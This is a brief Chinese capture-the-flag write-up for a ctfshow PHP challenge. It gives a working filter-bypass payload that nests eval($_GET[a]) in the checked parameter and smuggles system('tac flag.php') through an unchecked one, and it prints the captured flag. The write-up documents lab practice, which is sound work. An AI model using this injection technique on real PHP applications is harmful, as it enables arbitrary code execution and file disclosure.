此题较上一题多过滤了"cat sort shell"以及,点,空格,单引号这些字符串。
大部分需要空格的php语言就不能用了,所以我直接看wp
发现可以用使用eval嵌套执行
因为这里只判断了c这个参数,并不会判断其他参数的传入
所以可以在c中再次传参
直接url?c=eval($_GET[a]);&a=echo system('tac flag.php');得到flag
ctfshow{3dcb44e6-be1d-443d-a4fb-3a133fee7a9f}
;分号代表继续执行后面的代码
$_GET[变量]向变量传参只需要&变量名=参数即可